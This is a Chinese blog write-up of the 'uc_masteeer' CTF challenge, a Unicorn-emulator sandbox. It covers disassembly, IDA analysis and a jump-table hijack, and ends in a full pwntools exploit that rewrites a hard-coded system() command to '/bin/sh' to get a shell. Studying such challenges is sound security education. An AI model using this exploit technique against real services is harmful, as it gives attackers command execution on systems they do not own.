Loading... 一道 Unicorn 的题目,之前没听说过这种东西,比赛的时候看都没看,现在来学习复现一下。 关于 unicorn,在看雪上有一篇 [Unicorn 在 Android 的应用](https://bbs.pediy.com/thread-253868.htm) 写的很详细,这里参考该文章简单介绍一下。 Unicorn 是一个基于 qemu 的代码模拟执行框架,有许多优点,这里不多说。根据 unicorn 提供的 python 接口这里简单分析一下此题提供的 python 脚本的。 ```python from unicorn import * ``` 这一句导入了 unicorn 库 ```python from unicorn.x86_const import * ``` 这一句导入了 x86 架构相关的一些常量,比如寄存器常量,命名规则为 ```cpp UC_ + 指令集 + _REG_ + 大写寄存器名(UC_X86_REG_EAX,UC_X86_REG_RAX) ``` 每个架构都有对应的常量库 ```python from unicorn.arm_const import * from unicorn.arm64_const import * from unicorn.m68k_const import * from unicorn.mips_const import * from unicorn.sparc_const import * from unicorn.x86_const import * ``` 此脚本的主逻辑在 play 函数中 ```python def play(): uc = Uc(UC_ARCH_X86, UC_MODE_64) init(uc) data = os.read(0, 0x1000 - 0xd) data += b'\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08' uc.mem_write(CODE + 0x1000, data) try: uc.emu_start(CODE, CODE + 0x3000 - 1) except UcError as e: print("error...") ``` 开头创建了一个 Uc 类变量 uc,并以 `Uc(UC_ARCH_X86, UC_MODE_64)` 初始化,这样就获得了一台 x86 架构的虚拟机,运行模式为 64 位。自然,如果需要 32 位的虚拟机,就可以用 `UC_MODE_32` 初始化。如果需要 arm 架构,就可以用 `Uc(UC_ARCH_ARM, UC_MODE_ARM)` 初始化。同时,在虚拟机执行的过程中,也有特殊的指令可以修改 mode。 然后进入 init 函数对 uc 进行了一些初始化 ```python def init(uc): global writable uc.safe_mem_write = types.MethodType(_safe_mem_write, uc) uc.mem_map(CODE, 0x1000, UC_PROT_READ | UC_PROT_EXEC) uc.mem_write(CODE, b'\x90' * 0x1000) uc.mem_map(CODE + 0x1000, 0x1000, UC_PROT_ALL) uc.mem_write(CODE + 0x1000, b'\x90' * 0x1000) uc.mem_map(CODE + 0x2000, 0x1000, UC_PROT_READ | UC_PROT_EXEC) uc.mem_write(CODE + 0x2000, b'\x90' * 0x1000) uc.mem_write(CODE, MAIN) uc.mem_write(CODE + 0x2000, TAIL) uc.mem_write(CODE + 0x800, p64(CODE + 0xff0) + p64(CODE + 0x2000) + p64(CODE)) uc.mem_map(STACK, 0x1000, UC_PROT_READ | UC_PROT_WRITE) uc.reg_write(UC_X86_REG_RSP, STACK + 0xf00) writable = (CODE + 0x1000, STACK) uc.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL) # 所有的系统调用都由 hook_syscall 接管 uc.hook_add(UC_HOOK_CODE, admin_hook, None, admin_offset, admin_offset + 1) uc.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access) ``` 这里主要做的就是虚拟地址的初始化和 hook。 uc 虚拟机需要有一段自己的虚拟地址空间才能存储数据运行,通过 `mem_map` 方法可以新映射一段虚拟地址段。通过 `mem_write` 方法可以向虚拟地址中写入数据。 而 `hook_add` 方法可以实现指令级的 hook。看名字大概就可以理解意思。 可以看出在这段代码中向虚拟内存中写入了一些机器码,这些机器码是硬编码的。可以用 keystone 把机器码转成汇编,比如这样 ```python #!/usr/bin/env python3 # coding=utf-8 from capstone import * from capstone.x86_const import * MAIN = b'\x48\x83\xec\x20\x66\xc7\x44\x24\x0e\x00\x00\x48\x8d\x5c\x24\x0e\x48\xc7\x44\x24\x10\x00\x00\x00\x00\x48\xc7\x44\x24\x18\x00\x00\x00\x00\xb9\x44\x00\x00\x00\x48\x8d\x15\x8b\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xbe\x01\x00\x00\xb9\x02\x00\x00\x00\x48\x89\xda\x31\xf6\x31\xff\x31\xc0\xe8\xab\x01\x00\x00\x8a\x44\x24\x0e\x3c\x32\x74\x39\x3c\x33\x74\x62\x3c\x31\x0f\x85\x04\x01\x00\x00\xb9\x12\x00\x00\x00\x48\x8d\x15\x35\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x7a\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x12\x00\x00\x00\x48\x8d\x15\xf6\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x4d\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x07\x00\x00\x00\x48\x8d\x15\xc2\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x20\x01\x00\x00\x31\xf6\x31\xff\x48\x8d\x54\x24\x10\xb9\x08\x00\x00\x00\x31\xc0\xe8\x0b\x01\x00\x00\xb9\x07\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\x48\x8d\x15\x82\x00\x00\x00\xbf\x01\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x18\xb9\x08\x00\x00\x00\xe8\xd9\x00\x00\x00\x48\x81\x7c\x24\x18\xff\x00\x00\x00\x0f\x87\xef\xfe\xff\xff\xb9\x07\x00\x00\x00\x48\x8d\x15\x41\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xad\x00\x00\x00\x48\x8b\x4c\x24\x18\x31\xf6\x31\xff\x48\x8b\x54\x24\x10\x31\xc0\xe8\x98\x00\x00\x00\xe9\xb8\xfe\xff\xff\xbe\xff\x00\x00\x00\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x82\x00\x00\x00\xe9\xa2\xfe\xff\xff\x64\x61\x74\x61\x3a\x20\x00\x73\x69\x7a\x65\x3a\x20\x00\x61\x64\x64\x72\x3a\x20\x00\x50\x61\x74\x68\x65\x74\x69\x63\x20\x68\x75\x6d\x61\x6e\x20\x3e\x0a\x00\x50\x6f\x77\x65\x72\x66\x75\x6c\x20\x61\x64\x6d\x69\x6e\x20\x3e\x0a\x00\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x75\x63\x5f\x6d\x61\x73\x74\x65\x65\x65\x72\x0a\x31\x2e\x20\x61\x64\x6d\x69\x6e\x20\x74\x65\x73\x74\x0a\x32\x2e\x20\x75\x73\x65\x72\x20\x74\x65\x73\x74\x0a\x33\x2e\x20\x70\x61\x74\x63\x68\x20\x64\x61\x74\x61\x0a\x3f\x3a\x20\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3' TAIL = b'\x31\xc0\xb9\x32\x00\x00\x00\x48\x8d\x15\x55\x00\x00\x00\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x18\x66\x89\x44\x24\x0e\x31\xc0\xe8\x6d\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x0e\xb9\x02\x00\x00\x00\xe8\x58\x00\x00\x00\x80\x7c\x24\x0e\x79\x75\x11\x48\x83\xc4\x18\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x10\x31\xf6\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x32\x00\x00\x00\x43\x6f\x6e\x67\x72\x61\x74\x75\x6c\x61\x74\x69\x6f\x6e\x73\x21\x20\x54\x65\x73\x74\x20\x73\x75\x63\x63\x65\x65\x64\x21\x0a\x54\x72\x79\x20\x61\x67\x61\x69\x6e\x3f\x20\x28\x79\x2f\x5b\x6e\x5d\x29\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3' ADMIN = b'\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'.ljust(0x1000, b'\xf4') ATTACH = b'\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08' md = Cs(CS_ARCH_X86, CS_MODE_64) print("main:") for i in md.disasm(MAIN, 0x1000): print("%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str)) print("tail:") for i in md.disasm(TAIL, 0x3000): print("%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str)) print("admin:") for i in md.disasm(ADMIN, 0x1000): print("%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str)) print("attach:") for i in md.disasm(ATTACH, 0x1000): print("%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str)) ``` 但是看汇编会比较痛苦,所以随便写了个程序把机器码写到了一个文件里,用 IDA 分析 ```cpp #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <sys/types.h> #include <elf.h> #define ELF_ENTRY 0xDEADBEEF000 char PADDING[0x1000]; char MAIN_CODE[] = "\x48\x83\xec\x20\x66\xc7\x44\x24\x0e\x00\x00\x48\x8d\x5c\x24\x0e\x48\xc7\x44\x24\x10\x00\x00\x00\x00\x48\xc7\x44\x24\x18\x00\x00\x00\x00\xb9\x44\x00\x00\x00\x48\x8d\x15\x8b\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xbe\x01\x00\x00\xb9\x02\x00\x00\x00\x48\x89\xda\x31\xf6\x31\xff\x31\xc0\xe8\xab\x01\x00\x00\x8a\x44\x24\x0e\x3c\x32\x74\x39\x3c\x33\x74\x62\x3c\x31\x0f\x85\x04\x01\x00\x00\xb9\x12\x00\x00\x00\x48\x8d\x15\x35\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x7a\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x12\x00\x00\x00\x48\x8d\x15\xf6\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x4d\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x07\x00\x00\x00\x48\x8d\x15\xc2\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x20\x01\x00\x00\x31\xf6\x31\xff\x48\x8d\x54\x24\x10\xb9\x08\x00\x00\x00\x31\xc0\xe8\x0b\x01\x00\x00\xb9\x07\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\x48\x8d\x15\x82\x00\x00\x00\xbf\x01\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x18\xb9\x08\x00\x00\x00\xe8\xd9\x00\x00\x00\x48\x81\x7c\x24\x18\xff\x00\x00\x00\x0f\x87\xef\xfe\xff\xff\xb9\x07\x00\x00\x00\x48\x8d\x15\x41\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xad\x00\x00\x00\x48\x8b\x4c\x24\x18\x31\xf6\x31\xff\x48\x8b\x54\x24\x10\x31\xc0\xe8\x98\x00\x00\x00\xe9\xb8\xfe\xff\xff\xbe\xff\x00\x00\x00\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x82\x00\x00\x00\xe9\xa2\xfe\xff\xff\x64\x61\x74\x61\x3a\x20\x00\x73\x69\x7a\x65\x3a\x20\x00\x61\x64\x64\x72\x3a\x20\x00\x50\x61\x74\x68\x65\x74\x69\x63\x20\x68\x75\x6d\x61\x6e\x20\x3e\x0a\x00\x50\x6f\x77\x65\x72\x66\x75\x6c\x20\x61\x64\x6d\x69\x6e\x20\x3e\x0a\x00\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x75\x63\x5f\x6d\x61\x73\x74\x65\x65\x65\x72\x0a\x31\x2e\x20\x61\x64\x6d\x69\x6e\x20\x74\x65\x73\x74\x0a\x32\x2e\x20\x75\x73\x65\x72\x20\x74\x65\x73\x74\x0a\x33\x2e\x20\x70\x61\x74\x63\x68\x20\x64\x61\x74\x61\x0a\x3f\x3a\x20\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3"; char TAIL_CODE[] = "\x31\xc0\xb9\x32\x00\x00\x00\x48\x8d\x15\x55\x00\x00\x00\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x18\x66\x89\x44\x24\x0e\x31\xc0\xe8\x6d\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x0e\xb9\x02\x00\x00\x00\xe8\x58\x00\x00\x00\x80\x7c\x24\x0e\x79\x75\x11\x48\x83\xc4\x18\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x10\x31\xf6\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x32\x00\x00\x00\x43\x6f\x6e\x67\x72\x61\x74\x75\x6c\x61\x74\x69\x6f\x6e\x73\x21\x20\x54\x65\x73\x74\x20\x73\x75\x63\x63\x65\x65\x64\x21\x0a\x54\x72\x79\x20\x61\x67\x61\x69\x6e\x3f\x20\x28\x79\x2f\x5b\x6e\x5d\x29\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3"; char ADMIN_CODE[] = "\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3"; int main() { int uc_master_fd = open("./uc_master.elf", O_RDWR | O_CREAT); memset(PADDING, 0x90, 0x1000); memcpy(PADDING, MAIN_CODE, sizeof(MAIN_CODE)); if (write(uc_master_fd, PADDING, 0x1000) == 0x1000) { puts("OK!"); } memset(PADDING, 0x90, 0x1000); memcpy(PADDING, ADMIN_CODE, sizeof(ADMIN_CODE)); if (write(uc_master_fd, PADDING, 0x1000) == 0x1000) { puts("OK!"); } memset(PADDING, 0x90, 0x1000); memcpy(PADDING, TAIL_CODE, sizeof(TAIL_CODE)); if (write(uc_master_fd, PADDING, 0x1000) == 0x1000) { puts("OK!"); } } ``` *本来是准备按把 elf 补齐的,但是 elf 的格式信息和分区表之类的太麻烦了,干脆就之后在 IDA 中手动指定了* 把这个文件拖到 IDA 里面,指定基地址为 0xDEADBEEF000,创建函数,F5 一下,就可以获得这一一个主逻辑 ```cpp __int64 sub_DEADBEEF000() { __int64 v0; // rdx __int64 v1; // rcx __int16 v3; // [rsp+Eh] [rbp-12h] BYREF __int64 v4; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-8h] BYREF v3 = 0; v4 = 0i64; v5 = 0i64; while ( 1 ) { do_syscall(68i64, "Welcome to uc_masteeer\n1. admin test\n2. user test\n3. patch data\n?: "); do_syscall(2i64, &v3); if ( (_BYTE)v3 == '2' ) break; if ( (_BYTE)v3 == '3' ) { do_syscall(7i64, "addr: "); do_syscall(8i64, &v4); do_syscall(7i64, "size: "); do_syscall(8i64, &v5); if ( v5 <= 0xFF ) { do_syscall(7i64, "data: "); do_syscall(v5, v4); } } else { if ( (_BYTE)v3 == '1' ) { do_syscall(18i64, "Powerful admin >\n"); return MEMORY[0xBABECAFE000](); } do_syscall(v1, v0); } } do_syscall(18i64, "Pathetic human >\n"); return MEMORY[0xBABECAFE000](); } ``` 也就是有三个功能 1. admin test:执行硬编码的 admin code 2. user test:执行用户输入的 code 3. patch data:可以修改栈区和 `0xDEADBEEF000 + 0x1000 ~ 0xDEADBEEF000 + 0x2000` 中的数据 在 unicorn 沙盒中可以任意代码执行,但是这对读取 flag 并无帮助。整个沙盒唯一向外暴露的只有 hook_mem_access 函数 ```python def hook_mem_access(uc, access, address, size, value, user_data): global is_admin if is_admin and address == 0xbabecafe233: is_admin = False cmd = uc.mem_read(value, 0x100) if cmd.startswith(b'k33nlab'): os.system(cmd[7:cmd.index(0)].decode('utf-8')) uc.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access) ``` 也就是虚拟机内每次对虚拟内存进行写操作时,都会触发这个 hook,当 `is_admin` 和 `address ==0xbabecafe233` 两者成真时就会调用 system,调用的命令也是硬编码的,也就是 ```cpp 'k33nlabecho ',27h,'more important than knowledge.',27h,0 ``` 实际就是 `echo 'more important than knowledge.'`,由于这一段地址我们可写,如果可以把这一句改写成 `/bin/sh\x00` 就可以 getshell 了。 但是注意到 hook_mem_access 中会把 is_admin 置假,而 admin_hook 才能将其置真 ```python def admin_hook(uc, address, size, user_data): global is_admin is_admin = True uc.mem_write(CODE + 0x1000, ADMIN) uc.hook_add(UC_HOOK_CODE, admin_hook, None, admin_offset, admin_offset + 1) ``` 也就是每次执行到 ```cpp if ( (_BYTE)v3 == '1' ) { do_syscall(18i64, "Powerful admin >\n"); return MEMORY[0xBABECAFE000](); } ``` 此处时,都会将 is_admin 置真,用硬编码覆写 code + 0x1000 段,然后通过栈上的跳表调用 code + 0x1000 中的 admin 函数,admin 函数主要就是 `echo 'more important than knowledge.'`,这个函数会把 is_admin 改写为假。由于栈也是可写的,我们可以劫持跳表,让 `return MEMORY[0xBABECAFE000]();` 返回到 main 上,这样就可以保留 is_admin 为真,然后我们通过 patch 功能改写字符串 `'k33nlabecho ',27h,'more important than knowledge.',27h,0` 为 `'k33nlab/bin/sh\x00'`,然后再修改跳表,使指针指向 code + 0x1000,再调用 `user test` 就可以 getshell 了。 exp: ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' CODE = 0xdeadbeef000 STACK = 0xbabecafe000 #sh = remote("127.0.0.1", 1337) sh = process(['python3', 'uc_masteeer.py']) sh.send('\n') sh.sendlineafter("?: ", '3') sh.sendafter("addr: ", p64(STACK)) sh.sendafter("size: ", '\x08') sh.sendafter("data: ", p64(CODE)) sh.sendlineafter("?: ", '1') sh.sendlineafter("?: ", '3') sh.sendafter("addr: ", p64(0xDEADBEF0053)) sh.sendafter("size: ", '\xF0') sh.sendafter("data: ", 'k33nlab/bin/sh\x00') sh.sendlineafter("?: ", '3') sh.sendafter("addr: ", p64(STACK)) sh.sendafter("size: ", '\x08') sh.sendafter("data: ", p64(CODE + 0x1000)) sh.sendlineafter("?: ", '2') sh.interactive() ``` 这场比赛还有一道 uc_goood,类似于这道题,只是把跳表移到了不可写的地方,预期解似乎是 qemu 的利用,出题人也表示会给出官方 wp,但是我没找到,能找到的好像只有 r3kapping 的非预期解,也就是通过机器码字节错位的方法来修改指令,看了一下大概理解了其意思。之后如果找到了官方 wp 我再考虑复现一下。 最后修改:2021 年 08 月 04 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 3 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧
2 条评论